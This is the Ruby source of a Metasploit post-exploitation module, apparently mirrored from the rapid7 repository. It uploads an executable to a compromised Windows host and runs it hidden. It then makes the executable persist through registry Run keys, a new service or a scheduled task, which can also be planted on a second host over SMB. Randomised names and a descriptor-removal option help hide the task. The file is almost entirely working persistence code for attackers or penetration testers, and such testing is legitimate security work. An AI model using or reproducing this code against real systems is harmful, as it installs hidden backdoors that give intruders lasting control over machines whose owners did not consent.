Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/persistence_exe.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Common
8
include Msf::Post::File
9
include Msf::Post::Windows::Priv
10
include Msf::Post::Windows::Registry
11
include Msf::Post::Windows::Services
12
include Msf::Post::Windows::TaskScheduler
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Windows Manage Persistent EXE Payload Installer',
19
'Description' => %q{
20
This module will upload an executable to a remote host and make it Persistent.
21
It can be installed as USER, SYSTEM, or SERVICE. USER will start on user login,
22
SYSTEM will start on system boot but requires privs. SERVICE will create a new service
23
which will start the payload. Again requires privs.
24
},
25
'License' => MSF_LICENSE,
26
'Author' => [ 'Merlyn drforbin Cousins <drforbin6[at]gmail.com>' ],
27
'Version' => '$Revision:1$',
28
'Platform' => [ 'windows' ],
29
'SessionTypes' => [ 'meterpreter'],
30
'Compat' => {
31
'Meterpreter' => {
32
'Commands' => %w[
33
core_channel_eof
34
core_channel_open
35
core_channel_read
36
core_channel_write
37
stdapi_sys_config_getenv
38
stdapi_sys_config_sysinfo
39
stdapi_sys_process_execute
40
]
41
}
42
},
43
'Notes' => {
44
'Stability' => [CRASH_SAFE],
45
'Reliability' => [REPEATABLE_SESSION],
46
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
47
}
48
)
49
)
50
51
register_options(
52
[
53
OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM', 'SERVICE', 'TASK']]),
54
OptPath.new('REXEPATH', [true, 'The remote executable to upload and execute.']),
55
OptString.new('REXENAME', [true, 'The name to call exe on remote system', 'default.exe']),
56
OptBool.new('RUN_NOW', [false, 'Run the installed payload immediately.', true]),
57
]
58
)
59
60
register_advanced_options(
61
[
62
OptString.new('LocalExePath', [false, 'The local exe path to run. Use temp directory as default. ']),
63
OptString.new('RemoteExePath', [
64
false,
65
'The remote path to move the payload to. Only valid when the STARTUP option is set '\
66
'to TASK and the `ScheduleRemoteSystem` option is set. Use the same path than LocalExePath '\
67
'if not set.'
68
], conditions: ['STARTUP', '==', 'TASK']),
69
OptString.new('StartupName', [false, 'The name of service, registry or scheduled task. Random string as default.' ]),
70
OptString.new('ServiceDescription', [false, 'The description of service. Random string as default.' ])
71
]
72
)
73
end
74
75
# Run Method for when run command is issued
76
#-------------------------------------------------------------------------------
77
def run
78
hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']
79
print_status("Running module against #{hostname} (#{session.session_host})")
80
81
# Set vars
82
rexe = datastore['REXEPATH']
83
rexename = datastore['REXENAME']
84
host, _port = session.tunnel_peer.split(':')
85
@clean_up_rc = ''
86
87
raw = create_payload_from_file rexe
88
89
# Write script to %TEMP% on target
90
script_on_target = write_exe_to_target(raw, rexename)
91
92
# Initial execution of script
93
target_exec(script_on_target) if datastore['RUN_NOW']
94
95
case datastore['STARTUP'].upcase
96
when 'USER'
97
write_to_reg('HKCU', script_on_target)
98
when 'SYSTEM'
99
write_to_reg('HKLM', script_on_target)
100
when 'SERVICE'
101
install_as_service(script_on_target)
102
when 'TASK'
103
create_scheduler_task(script_on_target)
104
end
105
106
clean_rc = log_file
107
file_local_write(clean_rc, @clean_up_rc)
108
print_status("Cleanup Meterpreter RC File: #{clean_rc}")
109
110
report_note(host: host,
111
type: 'host.persistance.cleanup',
112
data: {
113
local_id: session.sid,
114
stype: session.type,
115
desc: session.info,
116
platform: session.platform,
117
via_payload: session.via_payload,
118
via_exploit: session.via_exploit,
119
created_at: Time.now.utc,
120
commands: @clean_up_rc
121
})
122
end
123
124
# Function for creating log folder and returning log path
125
#-------------------------------------------------------------------------------
126
def log_file(log_path = nil)
127
# Get hostname
128
if datastore['STARTUP'] == 'TASK' && @cleanup_host
129
# Use the remote hostname when remote task creation is selected
130
# Cleanup will have to be performed on this remote host
131
host = @cleanup_host
132
else
133
host = session.sys.config.sysinfo['Computer']
134
end
135
136
# Create Filename info to be appended to downloaded files
137
filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S')
138
139
# Create a directory for the logs
140
logs = if log_path
141
::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))
142
else
143
::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))
144
end
145
146
# Create the log directory
147
::FileUtils.mkdir_p(logs)
148
149
# logfile name
150
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + '.rc'
151
logfile
152
end
153
154
# Function to execute script on target and return the PID of the process
155
#-------------------------------------------------------------------------------
156
def target_exec(script_on_target)
157
print_status("Executing script #{script_on_target}")
158
proc = session.sys.process.execute(script_on_target, nil, 'Hidden' => true)
159
print_good("Agent executed with PID #{proc.pid}")
160
@clean_up_rc << "kill #{proc.pid}\n"
161
proc.pid
162
end
163
164
# Function to install payload in to the registry HKLM or HKCU
165
#-------------------------------------------------------------------------------
166
def write_to_reg(key, script_on_target)
167
nam = datastore['StartupName'] || Rex::Text.rand_text_alpha(8..15)
168
print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
169
if key
170
registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", nam, script_on_target, 'REG_SZ')
171
print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
172
@clean_up_rc << "reg deleteval -k '#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{nam}'\n"
173
else
174
print_error('Error: failed to open the registry key for writing')
175
end
176
end
177
178
# Function to install payload as a service
179
#-------------------------------------------------------------------------------
180
def install_as_service(script_on_target)
181
if is_system? || is_admin?
182
print_status('Installing as service..')
183
nam = datastore['StartupName'] || Rex::Text.rand_text_alpha(8..15)
184
description = datastore['ServiceDescription'] || Rex::Text.rand_text_alpha(8)
185
print_status("Creating service #{nam}")
186
187
key = service_create(nam, path: "cmd /c \"#{script_on_target}\"", display: description)
188
189
# check if service had been created
190
if key != 0
191
print_error("Service #{nam} creating failed.")
192
return
193
end
194
195
# if service is stopped, then start it.
196
service_start(nam) if datastore['RUN_NOW'] && service_status(nam)[:state] == 1
197
198
@clean_up_rc << "execute -H -f sc -a \"delete #{nam}\"\n"
199
else
200
print_error('Insufficient privileges to create service')
201
end
202
end
203
204
# Function for writing executable to target host
205
#-------------------------------------------------------------------------------
206
def write_exe_to_target(rexe, rexename)
207
# check if we have write permission
208
# I made it by myself because the function filestat.writable? was not implemented yet.
209
if !datastore['LocalExePath'].nil?
210
211
begin
212
temprexe = datastore['LocalExePath'] + '\\' + rexename
213
write_file_to_target(temprexe, rexe)
214
rescue Rex::Post::Meterpreter::RequestError
215
print_warning("Insufficient privileges to write in #{datastore['LocalExePath']}, writing to %TEMP%")
216
temprexe = session.sys.config.getenv('TEMP') + '\\' + rexename
217
write_file_to_target(temprexe, rexe)
218
end
219
220
# Write to %temp% directory if not set LocalExePath
221
else
222
temprexe = session.sys.config.getenv('TEMP') + '\\' + rexename
223
write_file_to_target(temprexe, rexe)
224
end
225
226
print_good("Persistent Script written to #{temprexe}")
227
@clean_up_rc << "rm #{temprexe.gsub('\\', '\\\\\\\\')}\n"
228
temprexe
229
end
230
231
def write_file_to_target(temprexe, rexe)
232
fd = session.fs.file.new(temprexe, 'wb')
233
fd.write(rexe)
234
fd.close
235
end
236
237
# Function to create executable from a file
238
#-------------------------------------------------------------------------------
239
def create_payload_from_file(exec)
240
print_status("Reading Payload from file #{exec}")
241
File.binread(exec)
242
end
243
244
def move_to_remote(remote_host, script_on_target, remote_path)
245
print_status("Moving payload file to the remote host (#{remote_host})")
246
247
# Translate local path to remote path. Basically, change any "<drive letter>:" to "<drive letter>$"
248
remote_path = remote_path.split('\\').delete_if(&:empty?)
249
remote_exe = remote_path.pop
250
remote_path[0].sub!(/^(?<drive>[A-Z]):/i, '\k<drive>$') unless remote_path.empty?
251
remote_path.prepend(remote_host)
252
remote_path = "\\\\#{remote_path.join('\\')}"
253
cmd = "net use #{remote_path}"
254
if datastore['ScheduleUsername'].present?
255
cmd << " /user:#{datastore['ScheduleUsername']}"
256
cmd << " #{datastore['SchedulePassword']}" if datastore['SchedulePassword'].present?
257
end
258
259
vprint_status("Executing command: #{cmd}")
260
result = cmd_exec_with_result(cmd)
261
unless result[1]
262
print_error(
263
'Unable to connect to the remote host. Check credentials, `RemoteExePath`, '\
264
"`LocalExePath` and SMB version compatibility on both hosts. Error: #{result[0]}"
265
)
266
return false
267
end
268
269
# #move_file helper does not work when the target is a remote host and the session run as SYSTEM. It works with #cmd_exec.
270
result = cmd_exec_with_result("move /y \"#{script_on_target}\" \"#{remote_path}\\#{remote_exe}\"")
271
if result[1]
272
print_good("Moved #{script_on_target} to #{remote_path}\\#{remote_exe}")
273
else
274
print_error("Unable to move the file to the remote host. Error: #{result[0]}")
275
end
276
277
result = cmd_exec_with_result("net use #{remote_path} /delete")
278
unless result[1]
279
print_warning("Unable to close the network connection with the remote host. This will have to be done manually. Error: #{result[0]}")
280
end
281
282
return !!result
283
end
284
285
TaskSch = Msf::Post::Windows::TaskScheduler
286
287
def create_scheduler_task(script_on_target)
288
unless is_system? || is_admin?
289
print_error('Insufficient privileges to create a scheduler task')
290
return
291
end
292
293
remote_host = datastore['ScheduleRemoteSystem']
294
print_status("Creating a #{datastore['ScheduleType']} scheduler task#{" on #{remote_host}" if remote_host.present?}")
295
296
if remote_host.present?
297
remote_path = script_on_target
298
if datastore['RemoteExePath'].present?
299
remote_path = datastore['RemoteExePath'].split('\\').delete_if(&:empty?).join('\\')
300
remote_path = "#{remote_path}\\#{datastore['REXENAME']}"
301
end
302
return false unless move_to_remote(remote_host, script_on_target, remote_path)
303
304
@cleanup_host = remote_host
305
@clean_up_rc = "rm #{remote_path.gsub('\\', '\\\\\\\\')}\n"
306
end
307
308
task_name = datastore['StartupName'].present? ? datastore['StartupName'] : Rex::Text.rand_text_alpha(8..15)
309
310
print_status("Task name: '#{task_name}'")
311
if datastore['ScheduleObfuscationTechnique'] == 'SECURITY_DESC'
312
print_status('Also, removing the Security Descriptor registry key value to hide the task')
313
end
314
if datastore['ScheduleRemoteSystem'].present?
315
if Rex::Socket.dotted_ip?(datastore['ScheduleRemoteSystem'])
316
print_warning(
317
"The task will be created on the remote host #{datastore['ScheduleRemoteSystem']} and since "\
318
'the FQDN is not used, it usually takes some time (> 1 min) due to some DNS resolution'\
319
' happening in the background'
320
)
321
if datastore['ScheduleObfuscationTechnique'] != 'SECURITY_DESC'
322
print_warning(
323
'Also, since the \'ScheduleObfuscationTechnique\' option is set to '\
324
'SECURITY_DESC, it will take much more time to be executed on the '\
325
'remote host for the same reasons (> 3 min). Don\'t Ctrl-C, even if '\
326
'a session pops up, be patient or use a FQDN in `ScheduleRemoteSystem` option.'
327
)
328
end
329
end
330
@clean_up_rc = "# The 'rm' command won t probably succeed while you're interacting with the session\n"\
331
"# You should migrate to another process to be able to remove the payload file\n"\
332
"#{@clean_up_rc}"
333
end
334
335
begin
336
task_create(task_name, remote_host.blank? ? script_on_target : remote_path)
337
rescue TaskSchedulerObfuscationError => e
338
print_warning(e.message)
339
print_good('Task created without obfuscation')
340
rescue TaskSchedulerError => e
341
print_error("Task creation error: #{e}")
342
return
343
else
344
print_good('Task created')
345
if datastore['ScheduleObfuscationTechnique'] == 'SECURITY_DESC'
346
@clean_up_rc << "reg setval -k '#{TaskSch::TASK_REG_KEY.gsub('\\') { '\\\\' }}\\\\#{task_name}' "\
347
"-v '#{TaskSch::TASK_SD_REG_VALUE}' "\
348
"-d '#{TaskSch::DEFAULT_SD}' "\
349
"-t 'REG_BINARY'#{" -w '64'" unless @old_os}\n"
350
end
351
end
352
353
@clean_up_rc << "execute -H -f schtasks -a \"/delete /tn #{task_name} /f\"\n"
354
end
355
end
356
357